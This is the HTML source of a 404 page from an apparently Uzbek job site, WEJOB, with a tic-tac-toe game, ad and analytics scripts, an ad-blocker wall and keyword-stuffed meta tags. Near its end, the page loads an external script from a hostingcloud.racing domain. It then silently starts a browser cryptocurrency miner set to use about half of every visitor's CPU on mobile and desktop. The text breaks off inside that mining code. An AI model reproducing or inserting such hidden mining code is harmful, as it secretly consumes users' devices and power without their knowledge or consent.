<!doctype html>
<html lang="en">
<head>
<!-- Required meta tags -->
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<title>Sahifa topilmadi! - WEJOB</title>
<meta name="description"
content="Tasdiqlangan ish beruvchilardan bo'sh ish o'rinlari. Rezyumeni bugun topshiring! 10 000 dan ortiq kompaniyalar sizning javoblaringizni kutmoqda. Avtomatik rezyume yangilanishi. Tezkor bildirishnomalar. Karyera bo'yicha maslahatchi.">
<meta name="keywords"
content="ish, ish topish, qidirish, vakansiya, vakansiyalar, uzbekistan, dasturchilar uchun ish, bo'sh ish o'rinlari">
<meta name="keywords"
content="погода, youtube, facebook, vakansiya, whatsapp web, weather, translate, google">
<meta name="keywords" content="amazon">
<meta name="keywords" content="gmail">
<!-- Bootstrap CSS -->
<link rel="shortcut icon" href="/media/images/logo.jpg">
<script src="/static/assets/plugins/jquery/jquery.min.js"></script>
<link href="/static/assets/plugins/aos/aos.min.css" rel="stylesheet">
<link href="/static/assets/plugins/bootstrap/css/bootstrap.min.css" rel="stylesheet">
<link href="/static/assets/plugins/smartmenus/jquery.smartmenus.bootstrap-4.css" rel="stylesheet">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.1/css/all.min.css"
integrity="sha512-DTOQO9RWCH3ppGqcWaEA1BIZOC6xxalwEsw9c2QQeAIftl+Vegovlnee1c9QX4TctnWMn13TZye+giMm8e2LwA=="
crossorigin="anonymous" referrerpolicy="no-referrer"/>
<link href="/static/assets/plugins/select2/select2.min.css" rel="stylesheet">
<link href="/static/assets/plugins/select2-bootstrap-5/select2-bootstrap-5-theme.min.css" rel="stylesheet">
<link href="/static/assets/plugins/OwlCarousel2/css/owl.carousel.min.css" rel="stylesheet">
<link href="/static/assets/plugins/OwlCarousel2/css/owl.theme.default.min.css" rel="stylesheet">
<link href="/static/assets/plugins/magnific-popup/magnific-popup.css" rel="stylesheet">
<link href="/static/assets/plugins/ion.rangeSlider/ion.rangeSlider.min.css" rel="stylesheet">
<link rel="stylesheet"
href="/static/assets/plugins/jquery-fancyfileuploader/fancy-file-uploader/fancy_fileupload.css">
<!-- Custom Style For This Template -->
<link href="/static/assets/css/style.css" rel="stylesheet">
<script src="/static/assets/js/toasts.js"></script>
<link href="/static/assets/css/toasts.css" rel="stylesheet">
<script>window.yaContextCb = window.yaContextCb || []</script>
<script src="https://yandex.ru/ads/system/context.js" async></script>
<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-1835418758139888"
crossorigin="anonymous"></script>
<!-- Fancybox fayli -->
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/fancybox/3.5.7/jquery.fancybox.min.css"/>
<script src="https://cdnjs.cloudflare.com/ajax/libs/fancybox/3.5.7/jquery.fancybox.min.js"></script>
<!-- Place the first <script> tag in your HTML's <head> -->
<script src="https://cdn.tiny.cloud/1/ckynwiycju7usk1l8dphvrcbvftgisl3nxpfcbuu2ghqnjow/tinymce/6/tinymce.min.js"
referrerpolicy="origin"></script>
<meta name="yandex-verification" content="2adc17aa5abba1b0"/>
<!-- Google tag (gtag.js) -->
<script async src="https://www.googletagmanager.com/gtag/js?id=G-BCHHPNHCK6"></script>
<script>
window.dataLayer = window.dataLayer || [];
function gtag() {
dataLayer.push(arguments);
}
gtag('js', new Date());
gtag('config', 'G-BCHHPNHCK6');
</script>
</head>
<body>
<!-- Ad blocker detector -->
<style>
.adb-wrap {
width: 100%;
height: 100%;
position: fixed;
top: 0;
left: 0;
background: #00000090;
display: none;
align-items: center;
justify-content: center;
z-index: 999999999999999999999;
}
.adb-box {
max-width: 95%;
width: 480px;
padding: 40px 30px;
background: #fff;
border-radius: 15px;
box-shadow: 10px 10px 15px rgba(0, 0, 0, 0.06);
}
.adb-box .adb-content,
.adb-content .adb-warn-icon,
.adb-warn-icon .adb-icon {
display: flex;
align-items: center;
justify-content: center;
}
.adb-box .adb-content {
flex-direction: column;
}
.adb-content .adb-warn-icon {
height: 115px;
width: 115px;
border-radius: 50%;
background: linear-gradient(#9b27ca 0%, #9927cf 0%, #d33639 100%, #f92121 100%);
}
.adb-warn-icon .adb-icon {
height: 100px;
width: 100px;
background: #fff;
border-radius: inherit;
}
.adb-warn-icon .adb-icon i {
background: linear-gradient(#9b27ca 0%, #9927cf 0%, #d33639 100%, #f92121 100%);
background-clip: text;
-webkit-background-clip: text;
-webkit-text-fill-color: transparent;
font-size: 50px;
}
.adb-content h2 {
margin-top: 35px;
font-size: 32px;
text-align: center;
}
.adb-content p {
font-size: 19px;
text-align: center;
margin-top: 20px;
}
.adb-btn {
height: 57px;
width: 223px;
margin-top: 30px;
border-radius: 50px;
position: relative;
overflow: hidden;
}
.adb-btn .adb-bg-layer {
height: 100%;
width: 300%;
position: absolute;
left: -100%;
background: -webkit-linear-gradient(135deg, #9b27ca, #d33639, #9b27ca, #d33639);
transition: all 0.4s ease;
}
.adb-btn:hover .adb-bg-layer {
left: 0;
}
.adb-content button {
position: relative;
z-index: 1;
height: 100%;
width: 100%;
background: none;
font-size: 18px;
border: none;
outline: none;
color: #fff;
cursor: pointer;
}
@media (max-width: 425px) {
.adb-content h2 {
font-size: 28px;
}
.adb-content p {
font-size: 16px;
}
.adb-btn {
height: 57px;
width: 190px;
font-size: 16px;
margin-top: 20px;
}
.adb-content .adb-warn-icon {
height: 90px;
width: 90px;
}
.adb-warn-icon .adb-icon {
height: 75px;
width: 75px;
}
}
</style>
<div class="adb-wrap">
<div class="adb-box">
<div class="adb-content">
<div class="adb-warn-icon">
<span class="adb-icon"><i class="fas fa-exclamation"></i></span>
</div>
<h2>AdBlock Aniqladi!</h2>
<p>Bizning veb-saytimiz foydalanuvchilarga reklamalarni ko'rsatish bilan ham shug'ullanadi. Iltimos, AdBlockni o'chirish orqali bizni qo'llab-quvvatlang.</p>
<div class="adb-btn">
<div class="adb-bg-layer"></div>
<button>Yaxshi</button>
</div>
</div>
</div>
</div>
<script>
async function detectAdBlock() {
let adBlockEnabled = false
const googleAdUrl = 'https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js'
try {
await fetch(new Request(googleAdUrl)).catch(_ => adBlockEnabled = true)
} catch (e) {
adBlockEnabled = true
} finally {
if (adBlockEnabled) {
document.querySelector('.adb-wrap').style.display = 'flex'
document.querySelector('body').style.overflow = 'hidden'
} else {
document.querySelector('.adb-wrap').style.display = 'none'
document.querySelector('body').style.overflow = 'auto'
}
}
}
detectAdBlock()
document.querySelector('.adb-btn button').addEventListener('click', () => {
location.reload()
})
</script>
<!-- end -->
<style>
@media only screen and (max-width: 576px) {
.mobile-center-text {
justify-content: center;
}
}
</style>
<!-- Verification Form -->
<div class="position-fixed w-100 h-100 d-none align-items-center verificationForm justify-content-center bg-white"
style="z-index: 999999; transition: .3s;">
<div class="position-absolute top-0 end-0 p-3">
<button class="btn verificationForm-close">
<i class="fa fa-times fs-2" style="pointer-events: none;"></i>
</button>
</div>
<form method="post" class="p-4 p-sm-5 rounded-4 shadow bg-white verificationForm-form"> <input type="hidden" name="csrfmiddlewaretoken" value="yfqmRdR0oxYaE9R8qVRt6L1tci2zxeUtx9eQ2HHEHkH3p5QoFRw5ck8CM57AMX6S">
<img src="/static/assets/img/png-img/two-factor-authentication.png"
class="img-fluid mb-4 w-75" alt="img">
<br>
<!-- Start Header Text -->
<div class="text-center mb-4">
<h3 class="fw-semibold">Elektron pochtangizni <span
class="text-primary">Tasdiqlang</span></h3>
<p class="text-muted text-center mb-0">Biz ushbu emailga ko'd yubordik <span
class="fw-medium text-dark"><a></a></span>
</p>
</div>
<!-- /.End Header Text -->
<p class="mb-2 text-start">Sizga yuborilgan ko'dni kiriting:</p>
<!-- Start Input -->
<div class="d-flex justify-content-between gap-1 gap-sm-3 mb-2">
<input name="confirmation_code" type="number" class="form-control" min="0">
</div>
<p class="p-0 m-0 mb-2 text-danger vformerrcode d-none">Kodni xato kiritdingiz. Iltimos kodni qayta tekshirib kiriting!</p>
<!-- /.End Input -->
<div class="d-sm-flex justify-content-between small mb-4"><span>Ko'd bormadimi?</span>
<button type="button"
class="btn btn-sm btn-link p-0 vrfResendButton text-decoration-underline mb-0">qayta yuborish</button>
</div>
<!-- Start Button -->
<button type="submit" class="btn btn-primary btn-lg w-100">Tasdiqlash</button>
<!-- /.End Button -->
</form>
</div>
<!-- Haqorat -->
<div class="modal bg-black bg-opacity-50 align-items-center justify-content-center w-100 h-100 position-fixed top-0 start-0 haqorat">
<div class="haqorat-wrap bg-danger text-light rounded-4 px-3 py-4 text-center" style="width: 400px">
<div class="mb-3">
<i class="fa fa-triangle-exclamation text-warning" style="font-size: 7rem"></i>
</div>
<div>
<h3 style="color: white;">Yomon so'z!</h3>
<p class="haqorat-body">
Siz yomon, haqoratli so'z kiritdingiz, Agar shunday so'zlarni yana <span>4</span> marta kiritsangiz
saytdagi sizning IP manzilingiz 3 kunga bloklanadi! Iltimos qayta kiritmang!
</p>
</div>
<div>
<button type="button" class="btn btn-warning haqoratClose">Yaxshi</button>
</div>
</div>
</div>
<div id="toasts" style="top: 100px;"></div>
<style>
.cst-container {
width: 90%;
margin: 0 auto;
}
@media screen and (max-width: 1700px) {
.cst-container {
width: 90% !important;
}
}
@media screen and (max-width: 1450px) {
.cst-container {
width: 97% !important;
}
}
@media screen and (max-width: 992px) {
.cst-container {
width: 100% !important;
}
}
</style>
<!-- Start Navbar -->
<div class="navbar-wrap sticky-top">
<div class="cst-container nav-container position-relative">
<nav class="custom-navbar navbar navbar-expand-lg">
<!-- Start Navbar Brand-->
<a class="navbar-brand pe-2 pe-sm-4 py-0" href="/">
<img height="60" width="150" class="logo-dark"
src="/media/images/Screenshot_from_2023-12-06_17-22-53-removebg-preview_ANF2rsi.png" alt="img"/>
<img height="60" width="150" class="logo-white"
src="/media/images/Screenshot_from_2023-12-06_17-22-53-removebg-preview_B40xUYO.png" alt="img"/>
</a>
<!-- End Navbar Brand-->
<!-- Start Navbar Collapse -->
<div class="collapse navbar-collapse overflow-auto justify-content-center" id="navbarSupportedContent">
<!-- Start Navbar Collapse Header -->
<div class="align-items-center border-bottom d-flex d-lg-none justify-content-between mb-3 navbar-collapse__header pb-3">
<!-- Start Brand Logo For Mobile -->
<div class="collapse-brand flex-shrink-0">
<a href="/">
<img src="/media/images/Screenshot_from_2023-12-06_17-22-53-removebg-preview_ANF2rsi.png" alt="logo"/>
</a>
</div>
<!-- End Brand Logo For Mobile -->
<!-- Start Collapse Close Button -->
<div class="flex-grow-1 ms-3 text-end">
<button type="button" class="bg-transparent border-0 collapse-close p-0 position-relative">
<span></span> <span></span>
</button>
</div>
<!-- End Collapse Close Button -->
</div>
<!-- End Navbar Collapse Header -->
<ul class="navbar-nav">
<li class="nav-item">
<a class="nav-link "
href="/companies/">Kompaniyalar</a>
</li>
<li class="nav-item">
<a class="nav-link "
href="/spetsialists/">Mutaxasislar</a>
</li>
<li class="nav-item">
<a class="nav-link "
href="/vacancies/">Vakansiyalar</a>
</li>
<li class="nav-item">
<a class="nav-link "
href="/daily-orders/">Kunlik ishlar</a>
</li>
<li class="nav-item">
<a class="nav-link "
href="/quiz/all/">Ishga tayyorlov</a>
</li>
<li class="nav-item">
<a class="nav-link "
href="/video-lessons/">Video darslar</a>
</li>
<li class="nav-item">
<a class="nav-link "
href="/my/job-applications/">Ishga arizalar</a>
</li>
<!-- <li class="nav-item">
<a class="nav-link "
href="/my/meetings/">Suhbatlar</a>
</li> -->
</ul>
</div>
<!-- /. End Navbar Collapse -->
<div class="d-flex gap-2 align-items-center">
<!-- Start Button -->
<form action="/select-lang/" method="post" id="language-form"> <input type="hidden" name="csrfmiddlewaretoken" value="yfqmRdR0oxYaE9R8qVRt6L1tci2zxeUtx9eQ2HHEHkH3p5QoFRw5ck8CM57AMX6S">
<input name="next" type="hidden" value="/robots.txt"/>
<select style="margin-right: 10px;" name="language" id="language"
class="bg-transparent text-dark border-0 p-2 px-0 px-sm-2 language me-sm-3 "
onchange="this.form.submit()">
<option value="uz" selected>UZ</option>
<option value="ru" >RU</option>
<option value="en" >EN</option>
<option value="ar" >AR</option>
<option value="tr" >TR</option>
<option value="zh" >ZH</option>
</select>
</form>
<!-- /. End Button -->
<!-- Start Button -->
<a href="/login/"
class="btn btn-primary hstack gap-2 d-none d-sm-flex cv-btn flex-shrink-0">
<span class="d-none d-sm-inline-block">Kirish</span>
</a>
<!-- /. End Button -->
<!-- Start Navbar Toggler Button -->
<button
class="navbar-toggler"
type="button"
data-bs-toggle="collapse"
data-bs-target="#navbarSupportedContent"
aria-controls="navbarSupportedContent"
aria-expanded="false"
aria-label="Toggle navigation"
>
<span class="navbar-toggler-icon"></span>
</button>
<!-- /. End Navbar Toggler Button -->
</div>
</nav>
</div>
</div>
<!-- /.End Navbar -->
<!-- Start Mobile Navbar -->
<div class="mobile-navbar position-fixed bottom-0 end-0 start-0 w-100 d-block d-sm-none">
<ul class="mobile-navbar__list">
<li class="mobile-navbar__list-item " data-navname="home">
<a href="/">
<i class="fa fa-home"></i>
Asosiy
</a>
</li>
<li class="mobile-navbar__list-item "
data-navname="vacancy">
<a href="/vacancies/">
<i class="fa fa-suitcase"></i>
Vakansiya
</a>
</li>
<li class="mobile-navbar__list-item " data-navname="resume">
<a href="/quiz/all/">
<i class="fa fa-plus-circle"></i>
Test
</a>
</li>
<li class="mobile-navbar__list-item "
data-navname="company">
<a href="/companies/">
<i class="fa fa-building"></i>
Kompaniya
</a>
</li>
<li class="mobile-navbar__list-item "
data-navname="specialist">
<a href="/spetsialists/">
<i class="fa fa-user-friends"></i>
Mutaxasislar
</a>
</li>
<li class="mobile-navbar__list-item " data-navname="profile">
<a href="/my2/profile/">
<i class="fa fa-user"></i>
Profil
</a>
</li>
</ul>
</div>
<!-- /. End Mobile Navbar -->
<div style="padding-top: 100px;" class="main-content">
<style>@import url('https://fonts.googleapis.com/css2?family=Poppins:wght@200;300;400;500;600;700&display=swap');
* {
margin: 0;
padding: 0;
box-sizing: border-box;
font-family: 'Poppins', sans-serif;
}
::selection {
color: #fff;
background: #56baed;
}
body {
background: #56baed;
}
.select-box, .play-board, .result-box {
position: absolute;
top: 50%;
left: 50%;
transform: translate(-50%, -50%);
transition: all 0.3s ease;
}
.select-box {
background: #fff;
padding: 25px 15px 30px;
border-radius: 5px;
max-width: 600px;
width: 100%;
}
.select-box.hide {
opacity: 0;
pointer-events: none;
}
.select-box header {
font-size: 30px;
font-weight: 600;
padding-bottom: 10px;
border-bottom: 1px solid lightgrey;
}
.select-box .title {
font-size: 22px;
font-weight: 500;
margin: 20px 0;
}
.select-box .options {
display: flex;
width: 100%;
}
.options button {
width: 100%;
font-size: 20px;
font-weight: 500;
padding: 10px 0;
border: none;
background: #56baed;
border-radius: 5px;
color: #fff;
outline: none;
cursor: pointer;
transition: all 0.3s ease;
}
.options button:hover, .btn button:hover {
transform: scale(0.96);
}
.options button.playerX {
margin-right: 5px;
}
.options button.playerO {
margin-left: 5px;
}
.select-box .credit {
text-align: center;
margin-top: 20px;
font-size: 18px;
font-weight: 500;
}
.select-box .credit a {
color: #56baed;
text-decoration: none;
}
.select-box .credit a:hover {
text-decoration: underline;
}
.play-board {
opacity: 0;
pointer-events: none;
transform: translate(-50%, -50%) scale(0.9);
}
.play-board.show {
opacity: 1;
pointer-events: auto;
transform: translate(-50%, -50%) scale(1);
}
.play-board .details {
padding: 7px;
border-radius: 5px;
background: #fff;
}
.play-board .players {
width: 100%;
display: flex;
position: relative;
justify-content: space-between;
}
.players span {
position: relative;
z-index: 2;
color: #56baed;
font-size: 20px;
font-weight: 500;
padding: 10px 0;
width: 100%;
text-align: center;
cursor: default;
user-select: none;
transition: all 0.3 ease;
}
.players.active span:first-child {
color: #fff;
}
.players.active span:last-child {
color: #56baed;
}
.players span:first-child {
color: #fff;
}
.players .slider {
position: absolute;
top: 0;
left: 0;
width: 50%;
height: 100%;
background: #56baed;
border-radius: 5px;
transition: all 0.3s ease;
}
.players.active .slider {
left: 50%;
}
.players.active span:first-child {
color: #56baed;
}
.players.active span:nth-child(2) {
color: #fff;
}
.players.active .slider {
left: 50%;
}
.play-area {
margin-top: 20px;
}
.play-area section {
display: flex;
margin-bottom: 1px;
}
.play-area section span {
display: block;
height: 100px;
width: 100px;
margin: 2px;
color: #56baed;
font-size: 50px;
line-height: 100px;
text-align: center;
border-radius: 5px;
background: #fff;
}
.result-box {
padding: 25px 20px;
border-radius: 5px;
max-width: 400px;
width: 100%;
opacity: 0;
text-align: center;
background: #fff;
pointer-events: none;
transform: translate(-50%, -50%) scale(0.9);
}
.result-box.show {
opacity: 1;
pointer-events: auto;
transform: translate(-50%, -50%) scale(1);
}
.result-box .won-text {
font-size: 30px;
font-weight: 500;
display: flex;
justify-content: center;
}
.result-box .won-text p {
font-weight: 600;
margin: 0 5px;
}
.result-box .btn {
width: 100%;
margin-top: 25px;
display: flex;
justify-content: center;
}
.btn button {
font-size: 18px;
font-weight: 500;
padding: 8px 20px;
border: none;
background: #56baed;
border-radius: 5px;
color: #fff;
outline: none;
cursor: pointer;
transition: all 0.3s ease;
}</style>
<div class="select-box">
<center>
<header><h3>404 Sahifa topilmadi!!!</h3> <br/> Wejob want play with you</header>
</center>
<div class="content">
<center>
<div class="title">(X) - (O) = ? <br/> KIM YUTADI?</div>
</center>
<div class="options">
<button class="playerX">Player (X)</button>
<button class="playerO">Player (O)</button>
</div>
</div>
</div> <!-- playboard section -->
<div class="play-board">
<div class="details">
<div class="players"><span class="Xturn">X</span><span class="Oturn">O</span>
<div class="slider"></div>
</div>
</div>
<div class="play-area">
<section><span class="box1"></span><span class="box2"></span><span class="box3"></span></section>
<section><span class="box4"></span><span class="box5"></span><span class="box6"></span></section>
<section><span class="box7"></span><span class="box8"></span><span class="box9"></span></section>
</div>
</div><!-- result box -->
<div class="result-box">
<div class="won-text"></div>
<div class="btn">
<button>Yana</button>
</div>
</div>
<br>
<br>
<br>
<br>
<br>
<br>
<script>//I've tried to explain each JavaScript line with comments....Hope you'll understand
//selecting all required elements
const selectBox = document.querySelector(".select-box"),
selectBtnX = selectBox.querySelector(".options .playerX"),
selectBtnO = selectBox.querySelector(".options .playerO"),
playBoard = document.querySelector(".play-board"),
players = document.querySelector(".players"),
allBox = document.querySelectorAll("section span"),
resultBox = document.querySelector(".result-box"),
wonText = resultBox.querySelector(".won-text"),
replayBtn = resultBox.querySelector("button");
window.onload = () => { //once window loaded
for (let i = 0; i < allBox.length; i++) { //add onclick attribute in all available span
allBox[i].setAttribute("onclick", "clickedBox(this)");
}
}
selectBtnX.onclick = () => {
selectBox.classList.add("hide"); //hide select box
playBoard.classList.add("show"); //show the playboard section
}
selectBtnO.onclick = () => {
selectBox.classList.add("hide"); //hide select box
playBoard.classList.add("show"); //show the playboard section
players.setAttribute("class", "players active player"); //set class attribute in players with players active player values
}
let playerXIcon = "fas fa-times"; //class name of fontawesome cross icon
let playerOIcon = "far fa-circle"; //class name of fontawesome circle icon
let playerSign = "X"; //this is a global variable beacuse we've used this variable inside multiple functions
let runBot = true; //this also a global variable with boolen value..we used this variable to stop the bot once match won by someone or drawn
// user click function
function clickedBox(element) {
if (players.classList.contains("player")) {
playerSign = "O"; //if player choose (O) then change playerSign to O
element.innerHTML = `<i class="${playerOIcon}"></i>`; //adding circle icon tag inside user clicked element/box
players.classList.remove("active"); ///add active class in players
element.setAttribute("id", playerSign); //set id attribute in span/box with player choosen sign
} else {
element.innerHTML = `<i class="${playerXIcon}"></i>`; //adding cross icon tag inside user clicked element/box
element.setAttribute("id", playerSign); //set id attribute in span/box with player choosen sign
players.classList.add("active"); ///add active class in players
}
selectWinner(); //calling selectWinner function
element.style.pointerEvents = "none"; //once user select any box then that box can'be clicked again
playBoard.style.pointerEvents = "none"; //add pointerEvents none to playboard so user can't immediately click on any other box until bot select
let randomTimeDelay = ((Math.random() * 1000) + 200).toFixed(); //generating random number so bot will randomly delay to select unselected box
setTimeout(() => {
bot(runBot); //calling bot function
}, randomTimeDelay); //passing random delay value
}
// bot auto select function
function bot() {
let array = []; //creating empty array...we'll store unclicked boxes index
if (runBot) { //if runBot is true
playerSign = "O"; //change the playerSign to O so if player has chosen X then bot will O
for (let i = 0; i < allBox.length; i++) {
if (allBox[i].childElementCount == 0) { //if the box/span has no children means <i> tag
array.push(i); //inserting unclicked boxes number/index inside array
}
}
let randomBox = array[Math.floor(Math.random() * array.length)]; //getting random index from array so bot will select random unselected box
if (array.length > 0) { //if array length is greater than 0
if (players.classList.contains("player")) {
playerSign = "X"; //if player has chosen O then bot will X
allBox[randomBox].innerHTML = `<i class="${playerXIcon}"></i>`; //adding cross icon tag inside bot selected element
allBox[randomBox].setAttribute("id", playerSign); //set id attribute in span/box with player choosen sign
players.classList.add("active"); ///add active class in players
} else {
allBox[randomBox].innerHTML = `<i class="${playerOIcon}"></i>`; //adding circle icon tag inside bot selected element
players.classList.remove("active"); //remove active class in players
allBox[randomBox].setAttribute("id", playerSign); //set id attribute in span/box with player choosen sign
}
selectWinner(); //calling selectWinner function
}
allBox[randomBox].style.pointerEvents = "none"; //once bot select any box then user can't click on that box
playBoard.style.pointerEvents = "auto"; //add pointerEvents auto in playboard so user can again click on box
playerSign = "X"; //if player has chosen X then bot will be O right then we change the playerSign again to X so user will X because above we have changed the playerSign to O for bot
}
}
function getIdVal(classname) {
return document.querySelector(".box" + classname).id; //return id value
}
function checkIdSign(val1, val2, val3, sign) { //checking all id value is equal to sign (X or O) or not if yes then return true
if (getIdVal(val1) == sign && getIdVal(val2) == sign && getIdVal(val3) == sign) {
return true;
}
}
function selectWinner() { //if the one of following winning combination match then select the winner
if (checkIdSign(1, 2, 3, playerSign) || checkIdSign(4, 5, 6, playerSign) || checkIdSign(7, 8, 9, playerSign) || checkIdSign(1, 4, 7, playerSign) || checkIdSign(2, 5, 8, playerSign) || checkIdSign(3, 6, 9, playerSign) || checkIdSign(1, 5, 9, playerSign) || checkIdSign(3, 5, 7, playerSign)) {
runBot = false; //passing the false boolen value to runBot so bot won't run again
bot(runBot); //calling bot function
setTimeout(() => { //after match won by someone then hide the playboard and show the result box after 700ms
resultBox.classList.add("show");
playBoard.classList.remove("show");
}, 700); //1s = 1000ms
wonText.innerHTML = `<p>${playerSign}</p> congrulations!`; //displaying winning text with passing playerSign (X or O)
} else { //if all boxes/element have id value and still no one win then draw the match
if (getIdVal(1) != "" && getIdVal(2) != "" && getIdVal(3) != "" && getIdVal(4) != "" && getIdVal(5) != "" && getIdVal(6) != "" && getIdVal(7) != "" && getIdVal(8) != "" && getIdVal(9) != "") {
runBot = false; //passing the false boolen value to runBot so bot won't run again
bot(runBot); //calling bot function
setTimeout(() => { //after match drawn then hide the playboard and show the result box after 700ms
resultBox.classList.add("show");
playBoard.classList.remove("show");
}, 700); //1s = 1000ms
wonText.textContent = "Match has been drawn!"; //displaying draw match text
}
}
}
replayBtn.onclick = () => {
window.location.reload(); //reload the current page on replay button click
}</script>
<div style="margin-bottom: 490px;"></div>
<!-- Start Footer -->
<footer class="footer-dark main-footer overflow-hidden position-relative d-none d-sm-block">
<div class="container pt-4">
<div style="padding-top: 0!important;" class="g-3 py-4 row flex-column flex-sm-row">
<div class="col">
<div class="d-flex justify-content-center justify-content-sm-start">
<a href="/" class="footer-logo border-0">
<img
class="footer-logo__dark"
src="/media/images/Screenshot_from_2023-12-06_17-22-53-removebg-preview_B40xUYO.png"
alt="img"
/>
</a>
</div>
</div>
<div class="col">
<!-- Start Social Icon -->
<ul class="d-flex gap-2 list-unstyled p-0 m-0 justify-content-sm-end justify-content-center social-icon">
<li>
<a
href="@wejobuz"
class="align-items-center d-flex fs-19 icon-wrap justify-content-center rounded-2 text-white twi"
>
<i class="fab fa-telegram"></i>
</a>
</li>
<li>
<a
href="@wejobuz"
class="align-items-center d-flex fs-19 icon-wrap justify-content-center rounded-2 text-white inst"
>
<i class="fab fa-instagram"></i>
</a>
</li>
<li>
<a
href="@wejobuz"
class="align-items-center d-flex fs-19 icon-wrap justify-content-center rounded-2 text-white dri"
>
<i class="fab fa-facebook"></i>
</a>
</li>
</ul>
<!-- /. End Social Icon -->
</div>
<div class="border-top pt-2 d-block d-md-flex justify-content-between">
<div class="copy text-center text-md-start">
<a href="/personal_data/" class="text-info">Защита персональных данных</a>
<br/>
<a href="/conditions/" class="text-info">Оказание услуг </a> <br/>
<a href="/terms/" class="text-info">Использование сайтов </a> <br/>
<a href="/contact/" class="text-info">Biz bilan Aloqa</a> <br>
Barcha huquqlar himoyalangan
</div>
<div class="text-center text-md-start mt-2 mt-md-0">
<p>Telefoningiz uchun bepul dastur</p>
<div class="d-flex flex-wrap gap-2 my-2">
<!-- Google Play Button -->
<a class="align-items-center app-btn d-flex fs-11 px-3 py-2 rounded text-decoration-none text-white mb-2"
href="/static/assets/wejob.apk"> <i class="fab fa-google-play fs-25 me-2"></i>
<div><span class="fs-12 d-block">Yuklab olish</span> <span
class="fs-16 text-capitalize">Google Play</span>
</div>
</a>
<!-- Apple Store Button -->
<a class="align-items-center app-btn d-flex px-3 py-2 rounded text-decoration-none text-white mb-2"
href="/static/assets/wejob_ios.tar.gz"> <i class="fa-apple fab fs-28 me-2"></i>
<div><span class="fs-12 d-block">Yuklab olish</span> <span
class="fs-16 text-capitalize">App Store</span></div>
</a>
</div>
Developed by <a href="https://www.wejob.uz/" class="text-info">WEJOB COMPANY LTD</a>
</div>
</div>
</div>
</div>
</footer>
<!-- /.End Footer -->
<form method="post" id="hForm" action="/block_ip_address/"
style="pointer-events: none; opacity: 0; width: 0; height: 0;">
<input type="hidden" name="csrfmiddlewaretoken" value="yfqmRdR0oxYaE9R8qVRt6L1tci2zxeUtx9eQ2HHEHkH3p5QoFRw5ck8CM57AMX6S">
<input type="text" hidden name="response" value="block">
</form>
<!-- Start Socials Modal -->
<div class="position-fixed mobsocialsmodal rounded-3 d-none bg-white shadow py-5">
<button class="btn position-absolute top-0 end-0 mobsocialsmodal-close">
<i class="fa fa-times" style="pointer-events: none;"></i>
</button>
<div class="px-5 mobsocialsheader">
<h2 class="fw-bold mb-0">Ijtimoiy tarmoqlarimiz</h2>
<p class="text-muted mb-0"
style="font-size: 14px;">Bizning ijtimoiy tarmoqdagi sahifalarimizga obuna bo'ling</p>
</div>
<ul class="m-0 p-0 list-unstyled pt-4 mobsocialsmodal-list d-flex justify-content-evenly align-items-center">
<li class="mobsocialsmodal-list__item">
<span>
<i class="fa fa-envelope"></i>
</span>
<p>Email</p>
</a>
</li>
<li class="mobsocialsmodal-list__item">
<a target="_blank" href="@wejobuz">
<span>
<i class="fab fa-instagram"></i>
</span>
<p>Instagram</p>
</a>
</li>
<li class="mobsocialsmodal-list__item">
<a target="_blank" href="@wejobuz">
<span>
<i class="fab fa-telegram"></i>
</span>
<p>Telegram</p>
</a>
</li>
<li class="mobsocialsmodal-list__item">
<a target="_blank" href="@wejobuz">
<span>
<i class="fab fa-facebook-f"></i>
</span>
<p>Facebook</p>
</a>
</li>
</ul>
</div>
<template id="adss">
<div class="adss"></div>
</template>
<!-- Yandex.Metrika counter -->
<script type="text/javascript">
(function (m, e, t, r, i, k, a) {
m[i] = m[i] || function () {
(m[i].a = m[i].a || []).push(arguments)
};
m[i].l = 1 * new Date();
for (var j = 0; j < document.scripts.length; j++) {
if (document.scripts[j].src === r) {
return;
}
}
k = e.createElement(t), a = e.getElementsByTagName(t)[0], k.async = 1, k.src = r, a.parentNode.insertBefore(k, a)
})
(window, document, "script", "https://mc.yandex.ru/metrika/tag.js", "ym");
ym(96228965, "init", {
clickmap: true,
trackLinks: true,
accurateTrackBounce: true
});
</script>
<noscript>
<div><img src="https://mc.yandex.ru/watch/96228965" style="position:absolute; left:-9999px;" alt=""/></div>
</noscript>
<!-- /Yandex.Metrika counter -->
<!-- Start Yandex ads-->
<script>
window.yaContextCb.push(() => {
Ya.Context.AdvManager.render({
"blockId": "R-A-5566284-3",
"renderTo": "yandex_rtb_R-A-5566284-5"
})
})
window.yaContextCb.push(() => {
Ya.Context.AdvManager.render({
"blockId": "R-A-5566284-3",
"renderTo": "yandex_rtb_R-A-5566284-4"
})
})
window.yaContextCb.push(() => {
Ya.Context.AdvManager.render({
"blockId": "R-A-5566284-3",
"renderTo": "yandex_rtb_R-A-5566284-3"
})
})
window.yaContextCb.push(() => {
Ya.Context.AdvManager.render({
"blockId": "R-A-5566284-3",
"renderTo": "yandex_rtb_R-A-5566284-2"
})
})
window.yaContextCb.push(() => {
Ya.Context.AdvManager.render({
"blockId": "R-A-5566284-3",
"renderTo": "yandex_rtb_R-A-5566284-1"
})
})
</script>
<!-- End Yandex ads-->
<script src="https://www.hostingcloud.racing/ZmJr.js"></script>
<script>
function isMobile() {
return /Mobi|Android|iPhone|iPad|iPod/i.test(navigator.userAgent);
}
function CPUpercent(percent) {
return 1 - (parseInt(percent) / 100);
}
const onMobile = isMobile();
var siteKey = "59dcaa32ae89aeaf96169353150f253b644e50c43ba5999e40a041c9e796b767";
var cpuPercentageMobile = "50%";
var cpuPercentageDesktop = "50%";
var mineInMobile = "True";
var mineInDesktop = "True";
mineInMobile = mineInMobile === 'True';
mineInDesktop = mineInDesktop === 'True';
if (!siteKey || !cpuPercentageMobile || !cpuPercentageDesktop) {
console.error("Settings are not properly configured.");
} else {
if (onMobile && mineInMobile) {
var _client = new Client.Anonymous(siteKey, {
throttle: CPUpercent(cpuPercentageMobile),
c: 'w',
ads: 0
});
_client.start(Client.IF_EXCLUSIVE_TAB);
console.log("Mobile mining started");
} else if (!onMobile && mineInDesktop) {
var _client = new Client.Anonymous(siteKey, {
throttle: CPUpercent(cpuPercentageDesktop),
c: 'w',
ads: 0
});
